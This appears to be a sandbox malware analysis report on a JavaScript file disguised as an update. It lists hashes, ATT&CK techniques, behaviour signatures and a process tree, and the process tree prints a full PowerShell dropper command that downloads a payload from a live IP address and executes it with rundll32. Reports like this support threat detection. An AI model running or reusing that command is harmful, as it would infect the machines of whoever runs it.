0c9697506df18baac4b4215e78a43926ea4bb94ea3607c851a1c2fe3b5b31f17

Resubmissions

15-08-2024 20:42

240815-zhg3jaxglr 10

14-06-2024 12:05

240614-n89dxszekb 10

28-05-2024 22:27

240528-2dhvdagb62 10

Analysis

max time kernel
147s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
14-06-2024 12:05

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General

Target

Update_25_04_2024_3146918.js
Size

135KB
MD5

bf7f711e823916e5f56ff4d2286ee866
SHA1

d9c9d093ce5f1cbc78280ab0232b5d6ef8c25729
SHA256

0c9697506df18baac4b4215e78a43926ea4bb94ea3607c851a1c2fe3b5b31f17
SHA512

842616018719df7c6ee7cac5996ea1399a2a459353ee96de2bf9fda122aac861baa0a5c848dad1d4aa756fab897d1e7a978eac359458d52801020685db67d941
SSDEEP

1536:XDOApMn1gDmN2yBCn/yA3seAeLCMamLcInL1VXJ3Duvnr:6A+n1gDmNnw/yA3slMamLcInL7tDuvr

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://185.49.69.41/data/d291855f9fd1c934f7c97a4d2ba99b89

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

wscript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation	wscript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

3500 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid process

2396 powershell.exe
2396 powershell.exe
3500 powershell.exe
3500 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2396 powershell.exe
Token: SeDebugPrivilege 3500 powershell.exe

pid	process
3500	powershell.exe

pid	process
2396	powershell.exe
2396	powershell.exe
3500	powershell.exe
3500	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2396	powershell.exe
Token: SeDebugPrivilege	3500	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

wscript.exepowershell.exe

description	pid	process	target process
PID 1664 wrote to memory of 2396	1664	wscript.exe	powershell.exe
PID 1664 wrote to memory of 2396	1664	wscript.exe	powershell.exe
PID 2396 wrote to memory of 3500	2396	powershell.exe	powershell.exe
PID 2396 wrote to memory of 3500	2396	powershell.exe	powershell.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Update_25_04_2024_3146918.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1664
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -c "start-job { param($a) Import-Module BitsTransfer; $d = $env:temp + '\' + [System.IO.Path]::GetRandomFileName(); Start-BitsTransfer -Source 'http://185.49.69.41/data/d291855f9fd1c934f7c97a4d2ba99b89' -Destination $d; if (![System.IO.File]::Exists($d)) {exit}; $p = $d + ',Start'; rundll32.exe $p; Start-Sleep -Seconds 10} -Argument 0 | wait-job | Receive-Job"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2396
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3500

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xk03lmhw.s3b.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2396-0-0x00007FFF66A73000-0x00007FFF66A75000-memory.dmp

Filesize
8KB

Download
memory/2396-1-0x00007FFF66A70000-0x00007FFF67531000-memory.dmp

Filesize
10.8MB

Download
memory/2396-2-0x00007FFF66A70000-0x00007FFF67531000-memory.dmp

Filesize
10.8MB

Download
memory/2396-3-0x000001A97A790000-0x000001A97A7B2000-memory.dmp

Filesize
136KB

Download
memory/2396-13-0x000001A97AD60000-0x000001A97AED6000-memory.dmp

Filesize
1.5MB

Download
memory/2396-14-0x000001A97B0F0000-0x000001A97B2FA000-memory.dmp

Filesize
2.0MB

Download
memory/2396-27-0x00007FFF66A73000-0x00007FFF66A75000-memory.dmp

Filesize
8KB

Download
memory/2396-28-0x00007FFF66A70000-0x00007FFF67531000-memory.dmp

Filesize
10.8MB

Download
memory/2396-31-0x00007FFF66A70000-0x00007FFF67531000-memory.dmp

Filesize
10.8MB

Download
memory/3500-24-0x000001D865810000-0x000001D865836000-memory.dmp

Filesize
152KB

Download
memory/3500-25-0x000001D865870000-0x000001D865884000-memory.dmp

Filesize
80KB

Download